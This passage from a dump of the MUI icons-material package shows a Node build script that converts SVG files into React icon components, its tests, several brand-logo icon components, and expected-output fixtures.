'index.js'), index);\n}\n\n// Noise introduced by Google by mistake\nconst noises = [\n  ['=\"M0 0h24v24H0V0zm0 0h24v24H0V0z', '=\"'],\n  ['=\"M0 0h24v24H0zm0 0h24v24H0zm0 0h24v24H0z', '=\"'],\n];\n\nfunction removeNoise(input, prevInput = null) {\n  if (input === prevInput) {\n    return input;\n  }\n\n  let output = input;\n\n  noises.forEach(([search, replace]) => {\n    if (output.includes(search)) {\n      output = output.replace(search, replace);\n    }\n  });\n\n  return removeNoise(output, input);\n}\n\nexport function cleanPaths({ svgPath, data }) {\n  // Remove hardcoded color fill before optimizing so that empty groups are removed\n  const input = data\n    .replace(/ fill=\"#010101\"/g, '')\n    .replace(/<rect fill=\"none\" width=\"24\" height=\"24\"\\/>/g, '')\n    .replace(/<rect id=\"SVGID_1_\" width=\"24\" height=\"24\"\\/>/g, '');\n\n  const result = svgo.optimize(input, {\n    floatPrecision: 4,\n    multipass: true,\n    plugins: [\n      { name: 'cleanupAttrs' },\n      { name: 'removeDoctype' },\n      { name: 'removeXMLProcInst' },\n      { name: 'removeComments' },\n      { name: 'removeMetadata' },\n      { name: 'removeTitle' },\n      { name: 'removeDesc' },\n      { name: 'removeUselessDefs' },\n      { name: 'removeEditorsNSData' },\n      { name: 'removeEmptyAttrs' },\n      { name: 'removeHiddenElems' },\n      { name: 'removeEmptyText' },\n      { name: 'removeViewBox' },\n      { name: 'cleanupEnableBackground' },\n      { name: 'minifyStyles' },\n      { name: 'convertStyleToAttrs' },\n      { name: 'convertColors' },\n      { name: 'convertPathData' },\n      { name: 'convertTransform' },\n      { name: 'removeUnknownsAndDefaults' },\n      { name: 'removeNonInheritableGroupAttrs' },\n      {\n        name: 'removeUselessStrokeAndFill',\n        params: {\n          // https://github.com/svg/svgo/issues/727#issuecomment-303115276\n          removeNone: true,\n        },\n      },\n      { name: 'removeUnusedNS' },\n      { name: 'cleanupIds' },\n      { name: 'cleanupNumericValues' },\n      { name: 'cleanupListOfValues' },\n      { name: 'moveElemsAttrsToGroup' },\n      { name: 'moveGroupAttrsToElems' },\n      { name: 'collapseGroups' },\n      { name: 'removeRasterImages' },\n      { name: 'mergePaths' },\n      { name: 'convertShapeToPath' },\n      { name: 'sortAttrs' },\n      { name: 'removeDimensions' },\n      { name: 'removeElementsByAttr' },\n      { name: 'removeStyleElement' },\n      { name: 'removeScripts' },\n      { name: 'removeEmptyContainers' },\n    ],\n  });\n\n  // True if the svg has multiple children\n  let childrenAsArray = false;\n  const jsxResult = svgo.optimize(result.data, {\n    plugins: [\n      {\n        name: 'svgAsReactFragment',\n        fn: () => {\n          return {\n            root: {\n              enter(root) {\n                const [svg, ...rootChildren] = root.children;\n                if (rootChildren.length > 0) {\n                  throw new Error('Expected a single child of the root');\n                }\n                if (svg.type !== 'element' || svg.name !== 'svg') {\n                  throw new Error('Expected an svg element as the root child');\n                }\n\n                if (svg.children.length > 1) {\n                  childrenAsArray = true;\n                  svg.children.forEach((svgChild, index) => {\n                    svgChild.attributes.key = index;\n                    // Original name will be restored later\n                    // We just need a mechanism to convert the resulting\n                    // svg string into an array of JSX elements\n                    svgChild.name = `SVGChild:${svgChild.name}`;\n                  });\n                }\n\n                root.children = svg.children;\n              },\n            },\n          };\n        },\n      },\n    ],\n  });\n\n  // Extract the paths from the svg string\n  // Clean xml paths\n  // TODO: Implement as svgo plugins instead\n  let paths = jsxResult.data\n    .replace(/\"\\/>/g, '\" />')\n    .replace(/fill-opacity=/g, 'fillOpacity=')\n    .replace(/xlink:href=/g, 'xlinkHref=')\n    .replace(/clip-rule=/g, 'clipRule=')\n    .replace(/fill-rule=/g, 'fillRule=')\n    .replace(/ clip-path=\".+?\"/g, '') // Fix visibility issue and save some bytes.\n    .replace(/<clipPath.+?<\\/clipPath>/g, ''); // Remove unused definitions\n\n  const sizeMatch = svgPath.match(/^.*_([0-9]+)px.svg$/);\n  const size = sizeMatch ? Number(sizeMatch[1]) : null;\n\n  if (size !== 24) {\n    const scale = Math.round((24 / size) * 100) / 100; // Keep a maximum of 2 decimals\n    paths = paths.replace('clipPath=\"url(#b)\" ', '');\n    paths = paths.replace(/<path /g, `<path transform=\"scale(${scale}, ${scale})\" `);\n  }\n\n  paths = removeNoise(paths);\n\n  if (childrenAsArray) {\n    const pathsCommaSeparated = paths\n      // handle self-closing tags\n      .replace(/key=\"\\d+\" \\/>/g, '$&,')\n      // handle the rest\n      .replace(/<\\/SVGChild:(\\w+)>/g, '</$1>,');\n    paths = `[${pathsCommaSeparated}]`;\n  }\n  paths = paths.replace(/SVGChild:/g, '');\n\n  return paths;\n}\n\nasync function worker({ progress, svgPath, options, renameFilter, template }) {\n  progress();\n\n  const normalizedSvgPath = path.normalize(svgPath);\n  const svgPathObj = path.parse(normalizedSvgPath);\n  const innerPath = path\n    .dirname(normalizedSvgPath)\n    .replace(options.svgDir, '')\n    .replace(path.relative(process.cwd(), options.svgDir), ''); // for relative dirs\n  const destPath = renameFilter(svgPathObj, innerPath, options);\n\n  const outputFileDir = path.dirname(path.join(options.outputDir, destPath));\n  await fs.mkdir(outputFileDir, { recursive: true });\n\n  const data = await fs.readFile(svgPath, { encoding: 'utf8' });\n  const paths = cleanPaths({ svgPath, data });\n\n  const componentName = getComponentName(destPath);\n\n  const fileString = Mustache.render(template, {\n    paths,\n    componentName,\n  });\n\n  const absDestPath = path.join(options.outputDir, destPath);\n  await fs.writeFile(absDestPath, fileString);\n}\n\nexport async function handler(options) {\n  const progress = options.disableLog ? () => {} : () => process.stdout.write('.');\n\n  rimrafSync(`${options.outputDir}/*.js`, { glob: true }); // Clean old files\n\n  let renameFilter = options.renameFilter;\n  if (typeof renameFilter === 'string') {\n    const renameFilterModule = await import(renameFilter);\n    renameFilter = renameFilterModule.default;\n  }\n  if (typeof renameFilter !== 'function') {\n    throw new Error('renameFilter must be a function');\n  }\n  await fs.mkdir(options.outputDir, { recursive: true });\n\n  const [svgPaths, template] = await Promise.all([\n    globAsync(normalizePath(path.join(options.svgDir, options.glob))),\n    fs.readFile(path.join(currentDirectory, 'templateSvgIcon.js'), {\n      encoding: 'utf8',\n    }),\n  ]);\n\n  const queue = new Queue(\n    (svgPath) =>\n      worker({\n        progress,\n        svgPath,\n        options,\n        renameFilter,\n        template,\n      }),\n    { concurrency: 8 },\n  );\n\n  queue.push(svgPaths);\n  await queue.wait({ empty: true });\n\n  let legacyFiles = await globAsync(normalizePath(path.join(currentDirectory, '/legacy', '*.js')));\n  legacyFiles = legacyFiles.map((file) => path.basename(file));\n  let generatedFiles = await globAsync(normalizePath(path.join(options.outputDir, '*.js')));\n  generatedFiles = generatedFiles.map((file) => path.basename(file));\n\n  const duplicatedIconsLegacy = intersection(legacyFiles, generatedFiles);\n  if (duplicatedIconsLegacy.length > 0) {\n    throw new Error(\n      `Duplicated icons in legacy folder. Either \\n` +\n        `1. Remove these from the /legacy folder\\n` +\n        `2. Add them to the blacklist to keep the legacy version\\n` +\n        `The following icons are duplicated: \\n${duplicatedIconsLegacy.join('\\n')}`,\n    );\n  }\n\n  await fs.cp(path.join(currentDirectory, '/legacy'), options.outputDir, { recursive: true });\n  await fs.cp(path.join(currentDirectory, '/custom'), options.outputDir, { recursive: true });\n\n  await generateIndex(options);\n}\n\nconst nodePath = path.resolve(process.argv[1]);\nconst modulePath = path.resolve(fileURLToPath(import.meta.url));\nconst isRunningDirectlyViaCLI = nodePath === modulePath;\n\nif (isRunningDirectlyViaCLI) {\n  yargs()\n    .command({\n      command: '$0>',\n      description: \"Build JSX components from SVG's.\",\n      handler,\n      builder: (command) => {\n        command\n          .option('output-dir', {\n            required: true,\n            type: 'string',\n            describe: 'Directory to output jsx components',\n          })\n          .option('svg-dir', {\n            required: true,\n            type: 'string',\n            describe: 'Directory to output jsx components',\n          })\n          .option('glob', {\n            type: 'string',\n            describe: 'Glob to match inside of --svg-dir',\n            default: '**/*.svg',\n          })\n          .option('inner-path', {\n            type: 'string',\n            describe:\n              '\"Reach into\" subdirs, since libraries like material-design-icons' +\n              ' use arbitrary build directories to organize icons' +\n              ' e.g. \"action/svg/production/icon_3d_rotation_24px.svg\"',\n            default: '',\n          })\n          .option('file-suffix', {\n            type: 'string',\n            describe:\n              'Filter only files ending with a suffix (pretty much only for @mui/icons-material)',\n          })\n          .option('rename-filter', {\n            type: 'string',\n            describe: 'Path to JS module used to rename destination filename and path.',\n            default: RENAME_FILTER_DEFAULT,\n          })\n          .option('disable-log', {\n            type: 'boolean',\n            describe: 'If true, does not produce any output in STDOUT.',\n            default: false,\n          });\n      },\n    })\n    .help()\n    .strict(true)\n    .version(false)\n    .parse(hideBin(process.argv));\n}\n"
  },
  {
    "path": "packages/mui-icons-material/builder.test.mjs",
    "content": "import { expect } from 'chai';\nimport fs from 'fs';\nimport os from 'os';\nimport path from 'path';\nimport { fileURLToPath } from 'url';\nimport { RENAME_FILTER_MUI, RENAME_FILTER_DEFAULT, getComponentName, handler } from './builder.mjs';\n\nconst currentDirectory = path.dirname(fileURLToPath(new URL(import.meta.url)));\n\nconst DISABLE_LOG = true;\n\n// To cut down on test time, use fixtures instead of node_modules\n// const MUI_ICONS_ROOT = path.join(currentDirectory, '../node_modules/material-design-icons/');\nconst MUI_ICONS_ROOT = path.join(currentDirectory, './fixtures/material-design-icons/');\nconst MUI_ICONS_SVG_DIR = path.join(MUI_ICONS_ROOT, 'svg');\n\nconst GAME_ICONS_ROOT = path.join(currentDirectory, './fixtures/game-icons/');\nconst GAME_ICONS_SVG_DIR = path.join(GAME_ICONS_ROOT, 'svg/icons/');\n\ndescribe('builder', () => {\n  describe('#getComponentName', () => {\n    it('should change capitalize dashes', () => {\n      expect(getComponentName('hi-world')).to.equal('HiWorld');\n    });\n\n    it('should capitalize based on environment path.sep', () => {\n      expect(getComponentName(`this${path.sep}dir`)).to.equal('ThisDir');\n    });\n  });\n\n  it('should have icons to test with', () => {\n    expect(fs.lstatSync(MUI_ICONS_SVG_DIR).isDirectory()).to.equal(true);\n  });\n\n  describe('--output-dir', () => {\n    const options = {\n      svgDir: MUI_ICONS_SVG_DIR,\n      innerPath: '/svg/production/',\n      glob: '/**/production/*_24px.svg',\n      renameFilter: RENAME_FILTER_MUI,\n      disableLog: DISABLE_LOG,\n      outputDir: null,\n    };\n\n    beforeEach(\n      process.env.VITEST\n        ? async function beforeEachHook(ctx) {\n            // DON'T CLEAN UP TO MAKE TEST INSPECTABLE\n            options.outputDir = path.join(\n              os.tmpdir(),\n              'material-ui-icons-builder-test',\n              ctx.task.name,\n            );\n            await emptyDir(options.outputDir);\n          }\n        : async function beforeEachHook() {\n            // DON'T CLEAN UP TO MAKE TEST INSPECTABLE\n            options.outputDir = path.join(\n              os.tmpdir(),\n              'material-ui-icons-builder-test',\n              this.currentTest.fullTitle(),\n            );\n            await emptyDir(options.outputDir);\n          },\n    );\n\n    it('script outputs to directory', async () => {\n      await handler(options);\n      expect(fs.lstatSync(options.outputDir).isDirectory()).to.equal(true);\n      expect(fs.lstatSync(path.join(options.outputDir, 'index.js')).isFile()).to.equal(true);\n    });\n  });\n\n  describe('--svg-dir, --innerPath, --fileSuffix', () => {\n    const options = {\n      svgDir: GAME_ICONS_SVG_DIR,\n      glob: '**/*.svg',\n      innerPath: '/dice/svg/000000/transparent/',\n      renameFilter: RENAME_FILTER_DEFAULT,\n      disableLog: false,\n      outputDir: null,\n    };\n\n    beforeEach(\n      process.env.VITEST\n        ? async function beforeEachHook(ctx) {\n            // DON'T CLEAN UP TO MAKE TEST INSPECTABLE\n            options.outputDir = path.join(\n              os.tmpdir(),\n              'material-ui-icons-builder-test',\n              ctx.task.name,\n            );\n            await emptyDir(options.outputDir);\n          }\n        : async function beforeEachHook() {\n            // DON'T CLEAN UP TO MAKE TEST INSPECTABLE\n            options.outputDir = path.join(\n              os.tmpdir(),\n              'material-ui-icons-builder-test',\n              this.currentTest.fullTitle(),\n            );\n            await emptyDir(options.outputDir);\n          },\n    );\n\n    it('script outputs to directory', async () => {\n      await handler(options);\n      expect(fs.lstatSync(options.outputDir).isDirectory()).to.equal(true);\n      expect(fs.lstatSync(path.join(options.outputDir, 'delapouite')).isDirectory()).to.equal(true);\n\n      const actualFilePath = path.join(\n        options.outputDir,\n        'delapouite',\n        'dice',\n        'svg',\n        '000000',\n        'transparent',\n        'Dice-six-faces-four.js',\n      );\n      expect(fs.existsSync(actualFilePath)).to.equal(true);\n\n      const actualFileData = fs.readFileSync(actualFilePath, { encoding: 'utf8' });\n      expect(actualFileData).to.include(\"import createSvgIcon from './utils/createSvgIcon'\");\n    });\n  });\n\n  describe('Template rendering', () => {\n    const options = {\n      svgDir: MUI_ICONS_SVG_DIR,\n      innerPath: '/svg/',\n      glob: '/*_24px.svg',\n      renameFilter: RENAME_FILTER_MUI,\n      disableLog: DISABLE_LOG,\n      outputDir: null,\n    };\n\n    beforeEach(\n      process.env.VITEST\n        ? async function beforeEachHook(ctx) {\n            // DON'T CLEAN UP TO MAKE TEST INSPECTABLE\n            options.outputDir = path.join(\n              os.tmpdir(),\n              'material-ui-icons-builder-test',\n              ctx.task.name,\n            );\n            await emptyDir(options.outputDir);\n          }\n        : async function beforeEachHook() {\n            // DON'T CLEAN UP TO MAKE TEST INSPECTABLE\n            options.outputDir = path.join(\n              os.tmpdir(),\n              'material-ui-icons-builder-test',\n              this.currentTest.fullTitle(),\n            );\n            await emptyDir(options.outputDir);\n          },\n    );\n\n    it('should produce the expected output', async () => {\n      await handler(options);\n      expect(fs.lstatSync(options.outputDir).isDirectory()).to.equal(true);\n\n      const cases = [\n        'Accessibility.js',\n        'StarRounded.js',\n        'QueueMusicOutlined.js',\n        'AccessAlarms.js',\n        'TimesOneMobiledata.js',\n        'ThirtyFps.js',\n        'SixtyFps.js',\n        'FiveMp.js',\n        'ElevenMp.js',\n        'TwentyFourMp.js',\n        'AccessAlarmsTwoTone.js',\n        'RecordVoiceOverTwoTone.js',\n      ];\n\n      cases.forEach((name) => {\n        const actual = fs.readFileSync(path.join(options.outputDir, name), { encoding: 'utf8' });\n        // Update the snapshots\n        // fs.writeFileSync(path.join(MUI_ICONS_ROOT, 'expected', name), actual, { encoding: 'utf8' });\n\n        const expected = fs.readFileSync(path.join(MUI_ICONS_ROOT, 'expected', name), {\n          encoding: 'utf8',\n        });\n\n        expect(actual).to.equal(expected);\n      });\n    });\n  });\n});\n\nasync function emptyDir(dir) {\n  await fs.promises.rm(dir, { recursive: true, force: true });\n  await fs.promises.mkdir(dir, { recursive: true });\n}\n"
  },
  {
    "path": "packages/mui-icons-material/custom/Apple.js",
    "content": "'use client';\nimport * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M18.71 19.5c-.83 1.24-1.71 2.45-3.05 2.47-1.34.03-1.77-.79-3.29-.79-1.53 0-2 .77-3.27.82-1.31.05-2.3-1.32-3.14-2.53C4.25 17 2.94 12.45 4.7 9.39c.87-1.52 2.43-2.48 4.12-2.51 1.28-.02 2.5.87 3.29.87.78 0 2.26-1.07 3.81-.91.65.03 2.47.26 3.64 1.98-.09.06-2.17 1.28-2.15 3.81.03 3.02 2.65 4.03 2.68 4.04-.03.07-.42 1.44-1.38 2.83M13 3.5c.73-.83 1.94-1.46 2.94-1.5.13 1.17-.34 2.35-1.04 3.19-.69.85-1.83 1.51-2.95 1.42-.15-1.15.41-2.35 1.05-3.11z\" />,\n  'Apple',\n);\n"
  },
  {
    "path": "packages/mui-icons-material/custom/Facebook.js",
    "content": "'use client';\nimport * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M5 3h14a2 2 0 0 1 2 2v14a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2m13 2h-2.5A3.5 3.5 0 0 0 12 8.5V11h-2v3h2v7h3v-7h3v-3h-3V9a1 1 0 0 1 1-1h2V5z\" />,\n  'Facebook',\n);\n"
  },
  {
    "path": "packages/mui-icons-material/custom/GitHub.js",
    "content": "'use client';\nimport * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M12 1.27a11 11 0 00-3.48 21.46c.55.09.73-.28.73-.55v-1.84c-3.03.64-3.67-1.46-3.67-1.46-.55-1.29-1.28-1.65-1.28-1.65-.92-.65.1-.65.1-.65 1.1 0 1.73 1.1 1.73 1.1.92 1.65 2.57 1.2 3.21.92a2 2 0 01.64-1.47c-2.47-.27-5.04-1.19-5.04-5.5 0-1.1.46-2.1 1.2-2.84a3.76 3.76 0 010-2.93s.91-.28 3.11 1.1c1.8-.49 3.7-.49 5.5 0 2.1-1.38 3.02-1.1 3.02-1.1a3.76 3.76 0 010 2.93c.83.74 1.2 1.74 1.2 2.94 0 4.21-2.57 5.13-5.04 5.4.45.37.82.92.82 2.02v3.03c0 .27.1.64.73.55A11 11 0 0012 1.27\" />,\n  'GitHub',\n);\n"
  },
  {
    "path": "packages/mui-icons-material/custom/Google.js",
    "content": "'use client';\nimport * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M12.545,10.239v3.821h5.445c-0.712,2.315-2.647,3.972-5.445,3.972c-3.332,0-6.033-2.701-6.033-6.032s2.701-6.032,6.033-6.032c1.498,0,2.866,0.549,3.921,1.453l2.814-2.814C17.503,2.988,15.139,2,12.545,2C7.021,2,2.543,6.477,2.543,12s4.478,10,10.002,10c8.396,0,10.249-7.85,9.426-11.748L12.545,10.239z\" />,\n  'Google',\n);\n"
  },
  {
    "path": "packages/mui-icons-material/custom/Instagram.js",
    "content": "'use client';\nimport * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M7.8 2h8.4C19.4 2 22 4.6 22 7.8v8.4a5.8 5.8 0 0 1-5.8 5.8H7.8C4.6 22 2 19.4 2 16.2V7.8A5.8 5.8 0 0 1 7.8 2m-.2 2A3.6 3.6 0 0 0 4 7.6v8.8C4 18.39 5.61 20 7.6 20h8.8a3.6 3.6 0 0 0 3.6-3.6V7.6C20 5.61 18.39 4 16.4 4H7.6m9.65 1.5a1.25 1.25 0 0 1 1.25 1.25A1.25 1.25 0 0 1 17.25 8 1.25 1.25 0 0 1 16 6.75a1.25 1.25 0 0 1 1.25-1.25M12 7a5 5 0 0 1 5 5 5 5 0 0 1-5 5 5 5 0 0 1-5-5 5 5 0 0 1 5-5m0 2a3 3 0 0 0-3 3 3 3 0 0 0 3 3 3 3 0 0 0 3-3 3 3 0 0 0-3-3z\" />,\n  'Instagram',\n);\n"
  },
  {
    "path": "packages/mui-icons-material/custom/LinkedIn.js",
    "content": "'use client';\nimport * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M19 3a2 2 0 0 1 2 2v14a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h14m-.5 15.5v-5.3a3.26 3.26 0 0 0-3.26-3.26c-.85 0-1.84.52-2.32 1.3v-1.11h-2.79v8.37h2.79v-4.93c0-.77.62-1.4 1.39-1.4a1.4 1.4 0 0 1 1.4 1.4v4.93h2.79M6.88 8.56a1.68 1.68 0 0 0 1.68-1.68c0-.93-.75-1.69-1.68-1.69a1.69 1.69 0 0 0-1.69 1.69c0 .93.76 1.68 1.69 1.68m1.39 9.94v-8.37H5.5v8.37h2.77z\" />,\n  'LinkedIn',\n);\n"
  },
  {
    "path": "packages/mui-icons-material/custom/Microsoft.js",
    "content": "'use client';\nimport * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M2 3h9v9H2V3m9 19H2v-9h9v9M21 3v9h-9V3h9m0 19h-9v-9h9v9Z\" />,\n  'Microsoft',\n);\n"
  },
  {
    "path": "packages/mui-icons-material/custom/Pinterest.js",
    "content": "'use client';\nimport * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M9.04 21.54c.96.29 1.93.46 2.96.46a10 10 0 0 0 10-10A10 10 0 0 0 12 2 10 10 0 0 0 2 12c0 4.25 2.67 7.9 6.44 9.34-.09-.78-.18-2.07 0-2.96l1.15-4.94s-.29-.58-.29-1.5c0-1.38.86-2.41 1.84-2.41.86 0 1.26.63 1.26 1.44 0 .86-.57 2.09-.86 3.27-.17.98.52 1.84 1.52 1.84 1.78 0 3.16-1.9 3.16-4.58 0-2.4-1.72-4.04-4.19-4.04-2.82 0-4.48 2.1-4.48 4.31 0 .86.28 1.73.74 2.3.09.06.09.14.06.29l-.29 1.09c0 .17-.11.23-.28.11-1.28-.56-2.02-2.38-2.02-3.85 0-3.16 2.24-6.03 6.56-6.03 3.44 0 6.12 2.47 6.12 5.75 0 3.44-2.13 6.2-5.18 6.2-.97 0-1.92-.52-2.26-1.13l-.67 2.37c-.23.86-.86 2.01-1.29 2.7v-.03z\" />,\n  'Pinterest',\n);\n"
  },
  {
    "path": "packages/mui-icons-material/custom/Reddit.js",
    "content": "'use client';\nimport * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M22 12.14a2.19 2.19 0 0 0-3.71-1.57 10.93 10.93 0 0 0-5.86-1.87l1-4.7 3.27.71a1.56 1.56 0 1 0 .16-.76l-3.64-.77c-.11-.02-.22 0-.29.06-.09.05-.14.14-.16.26l-1.11 5.22c-2.33.07-4.43.78-5.95 1.86A2.2 2.2 0 0 0 4.19 10a2.16 2.16 0 0 0-.9 4.15 3.6 3.6 0 0 0-.05.66c0 3.37 3.92 6.12 8.76 6.12s8.76-2.73 8.76-6.12c0-.21-.01-.44-.05-.66A2.21 2.21 0 0 0 22 12.14M7 13.7c0-.86.68-1.56 1.54-1.56s1.56.7 1.56 1.56a1.56 1.56 0 0 1-1.56 1.56c-.86.02-1.54-.7-1.54-1.56m8.71 4.14C14.63 18.92 12.59 19 12 19c-.61 0-2.65-.1-3.71-1.16a.4.4 0 0 1 0-.57.4.4 0 0 1 .57 0c.68.68 2.14.91 3.14.91s2.47-.23 3.14-.91a.4.4 0 0 1 .57 0c.14.16.14.41 0 .57m-.29-2.56c-.86 0-1.56-.7-1.56-1.56a1.56 1.56 0 0 1 1.56-1.56c.86 0 1.58.7 1.58 1.56a1.6 1.6 0 0 1-1.58 1.56z\" />,\n  'Reddit',\n);\n"
  },
  {
    "path": "packages/mui-icons-material/custom/Telegram.js",
    "content": "'use client';\nimport * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M9.78 18.65l.28-4.23 7.68-6.92c.34-.31-.07-.46-.52-.19L7.74 13.3 3.64 12c-.88-.25-.89-.86.2-1.3l15.97-6.16c.73-.33 1.43.18 1.15 1.3l-2.72 12.81c-.19.91-.74 1.13-1.5.71L12.6 16.3l-1.99 1.93c-.23.23-.42.42-.83.42z\" />,\n  'Telegram',\n);\n"
  },
  {
    "path": "packages/mui-icons-material/custom/Twitter.js",
    "content": "'use client';\nimport * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M22.46 6c-.77.35-1.6.58-2.46.69.88-.53 1.56-1.37 1.88-2.38-.83.5-1.75.85-2.72 1.05C18.37 4.5 17.26 4 16 4c-2.35 0-4.27 1.92-4.27 4.29 0 .34.04.67.11.98C8.28 9.09 5.11 7.38 3 4.79c-.37.63-.58 1.37-.58 2.15 0 1.49.75 2.81 1.91 3.56-.71 0-1.37-.2-1.95-.5v.03c0 2.08 1.48 3.82 3.44 4.21a4.22 4.22 0 0 1-1.93.07 4.28 4.28 0 0 0 4 2.98 8.521 8.521 0 0 1-5.33 1.84c-.34 0-.68-.02-1.02-.06C3.44 20.29 5.7 21 8.12 21 16 21 20.33 14.46 20.33 8.79c0-.19 0-.37-.01-.56.84-.6 1.56-1.36 2.14-2.23z\" />,\n  'Twitter',\n);\n"
  },
  {
    "path": "packages/mui-icons-material/custom/WhatsApp.js",
    "content": "'use client';\nimport * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M16.75 13.96c.25.13.41.2.46.3.06.11.04.61-.21 1.18-.2.56-1.24 1.1-1.7 1.12-.46.02-.47.36-2.96-.73-2.49-1.09-3.99-3.75-4.11-3.92-.12-.17-.96-1.38-.92-2.61.05-1.22.69-1.8.95-2.04.24-.26.51-.29.68-.26h.47c.15 0 .36-.06.55.45l.69 1.87c.06.13.1.28.01.44l-.27.41-.39.42c-.12.12-.26.25-.12.5.12.26.62 1.09 1.32 1.78.91.88 1.71 1.17 1.95 1.3.24.14.39.12.54-.04l.81-.94c.19-.25.35-.19.58-.11l1.67.88M12 2a10 10 0 0 1 10 10 10 10 0 0 1-10 10c-1.97 0-3.8-.57-5.35-1.55L2 22l1.55-4.65A9.969 9.969 0 0 1 2 12 10 10 0 0 1 12 2m0 2a8 8 0 0 0-8 8c0 1.72.54 3.31 1.46 4.61L4.5 19.5l2.89-.96A7.95 7.95 0 0 0 12 20a8 8 0 0 0 8-8 8 8 0 0 0-8-8z\" />,\n  'WhatsApp',\n);\n"
  },
  {
    "path": "packages/mui-icons-material/custom/X.js",
    "content": "'use client';\nimport * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M18.244 2.25h3.308l-7.227 8.26 8.502 11.24H16.17l-5.214-6.817L4.99 21.75H1.68l7.73-8.835L1.254 2.25H8.08l4.713 6.231zm-1.161 17.52h1.833L7.084 4.126H5.117z\" />,\n  'X',\n);\n"
  },
  {
    "path": "packages/mui-icons-material/custom/YouTube.js",
    "content": "'use client';\nimport * as React from 'react';\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M10 15l5.19-3L10 9v6m11.56-7.83c.13.47.22 1.1.28 1.9.07.8.1 1.49.1 2.09L22 12c0 2.19-.16 3.8-.44 4.83-.25.9-.83 1.48-1.73 1.73-.47.13-1.33.22-2.65.28-1.3.07-2.49.1-3.59.1L12 19c-4.19 0-6.8-.16-7.83-.44-.9-.25-1.48-.83-1.73-1.73-.13-.47-.22-1.1-.28-1.9-.07-.8-.1-1.49-.1-2.09L2 12c0-2.19.16-3.8.44-4.83.25-.9.83-1.48 1.73-1.73.47-.13 1.33-.22 2.65-.28 1.3-.07 2.49-.1 3.59-.1L12 5c4.19 0 6.8.16 7.83.44.9.25 1.48.83 1.73 1.73z\" />,\n  'YouTube',\n);\n"
  },
  {
    "path": "packages/mui-icons-material/fixtures/game-icons/README.md",
    "content": "Game Icons Test Fixtures\n========================\n\nSource: https://game-icons.net/\nDate: July 7, 2015\nLicense: CC BY 3.0\nExtracted from SVG (B/T) set.\n\nLayout:\n\n``svg/`` - follows structure of unzipped game-icons assets.\n"
  },
  {
    "path": "packages/mui-icons-material/fixtures/material-design-icons/expected/AccessAlarms.js",
    "content": "\"use client\";\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"m22 5.7-4.6-3.9-1.3 1.5 4.6 3.9zM7.9 3.4 6.6 1.9 2 5.7l1.3 1.5zM12.5 8H11v6l4.7 2.9.8-1.2-4-2.4zM12 4c-5 0-9 4-9 9s4 9 9 9 9-4 9-9-4-9-9-9m0 16c-3.9 0-7-3.1-7-7s3.1-7 7-7 7 3.1 7 7-3.1 7-7 7\" />\n, 'AccessAlarms');\n"
  },
  {
    "path": "packages/mui-icons-material/fixtures/material-design-icons/expected/AccessAlarmsTwoTone.js",
    "content": "\"use client\";\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  [<path d=\"M12 6c-3.9 0-7 3.1-7 7s3.1 7 7 7 7-3.1 7-7-3.1-7-7-7m3.7 10.9L11 14V8h1.5v5.3l4 2.4z\" opacity=\".3\" key=\"0\" />,<path d=\"m22 5.7-4.6-3.9-1.3 1.5 4.6 3.9zM12.5 8H11v6l4.7 2.9.8-1.2-4-2.4zM12 4c-5 0-9 4-9 9s4 9 9 9 9-4 9-9-4-9-9-9m0 16c-3.9 0-7-3.1-7-7s3.1-7 7-7 7 3.1 7 7-3.1 7-7 7M7.9 3.4 6.6 1.9 2 5.7l1.3 1.5z\" key=\"1\" />,]\n, 'AccessAlarmsTwoTone');\n"
  },
  {
    "path": "packages/mui-icons-material/fixtures/material-design-icons/expected/Accessibility.js",
    "content": "\"use client\";\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M12 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m9 7h-6v13h-2v-6h-2v6H9V9H3V7h18z\" />\n, 'Accessibility');\n"
  },
  {
    "path": "packages/mui-icons-material/fixtures/material-design-icons/expected/ElevenMp.js",
    "content": "\"use client\";\nimport createSvgIcon from './utils/createSvgIcon';\n\nexport default createSvgIcon(\n  <path d=\"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM11 5.5v6H9.5V7H8V5.5zm5 0v6h-1.5V7H13V5.5zm-.5 8.5H17v1.5h-1.5z\" />\n, 'ElevenMp');\n"
  },
  {
    "path": "packages/mui-icons-material/fixtures/material-design-icons/expected/FiveMp.js",
